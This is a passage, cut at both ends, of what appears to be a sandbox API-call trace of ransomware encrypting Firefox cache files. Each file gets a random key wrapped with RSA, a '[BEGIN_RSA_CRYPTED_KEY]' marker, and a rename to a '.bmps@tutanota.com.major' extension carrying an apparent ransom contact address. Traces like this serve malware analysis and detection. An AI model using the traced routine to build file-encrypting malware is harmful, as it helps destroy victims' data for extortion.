pszString="8SwGxyz3ENcqRaUQDWo578Db/ATJvibziYnacgHS2lYhBcH4r7CGFbLDmQmY9ieQ\nV4O3T68FrpGywNC5KmBVDCd7cBRNOqkP1HazbQ20KM9zr+nSQ3u9K3Mp1fhnSfU9\n5Nm769n1j575O3623cTJjKygdcdlrnUoIBEs8soj3Sl5TzRY48sMSV0AMHoWQwnt\nBZUIJQdw5f3vNuUC+3Qpi1sRT5HD3tyhOnrTObGLAdS3z8Zl5b/HdZQxOYHQOb4P\nLWL9sA7gw+p3F/y3auzSNg/xqv5iWr1abT+4CWp67Ysp5Tlf8AgOytI/vIPHFwVx\nOdBB0jY/ui63fWC+Ke+XZQ==\n", pcchString=0x2e3f9a8) returned 1 [0288.836] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.837] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.837] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.837] CloseHandle (hObject=0x1b84) returned 1 [0288.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.837] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0288.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2978 | out: hHeap=0x570000) returned 1 [0288.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2660 | out: hHeap=0x570000) returned 1 [0288.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee39f8 [0288.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6758 [0288.839] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.839] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", dwFileAttributes=0x80) returned 1 [0288.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee36e0 [0288.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee36e0 | out: hHeap=0x570000) returned 1 [0288.840] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.840] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4411) returned 1 [0288.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x113b) returned 0x2f81868 [0288.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x113b) returned 0x2f39028 [0288.840] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x113b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x113b, lpOverlapped=0x0) returned 1 [0288.841] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4411, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.841] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x113b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113b, lpOverlapped=0x0) returned 1 [0288.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0288.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0288.842] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113b [0288.842] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.842] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.842] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.842] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.842] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZKdWNIGzbAgsKHjuc29ap3kkYvSlrLgwGzTzRBtIWQWc+XzeA3KuviEG82yQSQMq\nwl3WxtXoM8tgp9rUw4vIvrybBvzOH8PZbxui7UwjURlhl41+eyaBRdketk67qiiz\nl9U3gBTVNTbOKqzxYiYcTufcU2BUzV9EzH36flIYa+CRUQo3f3TEi9Quu23fLngg\nzYPOhS8i0c7CEUbvOW8bJUQt+t6Rsrq6lNUl2T7jvWHHUhK0LreNk0jiCFR2Gr4T\nQiY/Tbf90y/9LBdzjUKKV5hPO+0yrCYjWtJCN+2Lofqmy7nbDywd4KIAtooessR9\nyYYKacyQX/s2jY2IBKqUNg==\n", pcchString=0x2e3f9a8) returned 1 [0288.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.842] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.842] CloseHandle (hObject=0x1b84) returned 1 [0288.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.843] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6758 | out: hHeap=0x570000) returned 1 [0288.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee39f8 | out: hHeap=0x570000) returned 1 [0288.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2138 | out: hHeap=0x570000) returned 1 [0288.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2138 [0288.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0288.934] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.934] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C", dwFileAttributes=0x80) returned 1 [0288.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2240 [0288.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2240 | out: hHeap=0x570000) returned 1 [0288.934] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.935] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6182) returned 1 [0288.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1826) returned 0x2f81868 [0288.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1826) returned 0x2f39028 [0288.935] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1826, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1826, lpOverlapped=0x0) returned 1 [0288.936] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6182, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0288.936] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1826, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1826, lpOverlapped=0x0) returned 1 [0288.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0288.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0288.936] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1826 [0288.936] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.936] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.937] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0288.937] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0288.937] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0288.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0288.937] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Qkx9cr8KQCUOFdvUfL4OmLXLfGsl3CVGpOmZBXEozIfv5sFph7mnZK60VDnkezUr\nDtG9L5bIYI7bF9gvpNvFbO5dOIeKASEcwa4LOp2iecmZmzbGLZ9BjPx58EuRxsEC\nOcJNp+nKZC6NIpm+CgOX2pe+rlCkF4VbpYUV3LTYmnOVKy3cA2ttyY4od6l0aEEu\neFMqd2PNmDlpl26P2AZaRT9z2jSJluI0UmFVpRYxhUzT0ds3kESr26/QTSXTjE3E\nq7sK2vNl+whP3P083UnX+NhhCSbBQu2QEBI7cGAA59HOannsFYGF8fpLWlGNfKUK\ne9l+we54mCxOnXLAgTmZKg==\n", pcchString=0x2e3f9a8) returned 1 [0288.937] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0288.937] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0288.937] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0288.937] CloseHandle (hObject=0x1b84) returned 1 [0288.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0288.937] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0DE853B708EF02DB762AC1E3D2424A69E631431C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0de853b708ef02db762ac1e3d2424a69e631431c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0288.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0288.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0288.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2138 | out: hHeap=0x570000) returned 1 [0288.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee30b0 | out: hHeap=0x570000) returned 1 [0288.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee36e0 [0288.941] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0288.941] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0288.941] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06", dwFileAttributes=0x80) returned 1 [0288.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2fa8 [0288.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0288.942] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2fa8 | out: hHeap=0x570000) returned 1 [0288.942] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0288.942] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3834) returned 1 [0288.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xefa) returned 0x3446048 [0288.942] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xefa) returned 0x2f81868 [0288.942] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0289.024] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.024] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0289.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0289.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0289.024] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefa [0289.025] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.025] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.025] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0289.025] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0289.025] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0289.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0289.025] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="H9TQUDwrvNHGDrYeaIatp6waPph9pd94MQw2P3KV7WNy8hJXUsvCwzZ+Qfm+Ueml\nlWJg4qvMgqC05LvBJifXYQ03ZNkOzrMq/MiXNU0268Sky4RvQaDeSGOhzKp0A+8t\n5YTLlQ92N/lnGt6tlV+vrPBqUSdXH60z42Ii0Pd0ZgYL/8YLarLztpTprtjPEIFg\nPf9Q2t6ZkaoEGrrATQgnH+itSok9WhRyKgFDQlxzDrGQmxqpyUjVsAOgbCIuntNy\n/PQyxd6qJh/zmjcziQllN4mgWtHixeToyjsYPrDE6qNlvlLgp4ICNyzTUpEL5rmi\nHkYtmBnu9ho/lochxKvySw==\n", pcchString=0x2e3f9a8) returned 1 [0289.025] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0289.025] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.025] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.025] CloseHandle (hObject=0x1b84) returned 1 [0289.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0289.026] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C8C626D4A0FA2C1F538E447383CFE3F820ADE06.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c8c626d4a0fa2c1f538e447383cfe3f820ade06.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0289.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0289.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0289.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee36e0 | out: hHeap=0x570000) returned 1 [0289.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2870 | out: hHeap=0x570000) returned 1 [0289.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2870 [0289.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0289.028] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0289.028] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", dwFileAttributes=0x80) returned 1 [0289.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2978 [0289.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0289.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2978 | out: hHeap=0x570000) returned 1 [0289.028] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0289.029] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4452) returned 1 [0289.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1164) returned 0x2f81868 [0289.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1164) returned 0x2f39028 [0289.029] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1164, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1164, lpOverlapped=0x0) returned 1 [0289.077] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0289.077] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1164, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1164, lpOverlapped=0x0) returned 1 [0289.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0289.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0289.077] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1164 [0289.077] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0289.077] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0289.077] CryptEncrypt (in: hKey=0x5a2690, 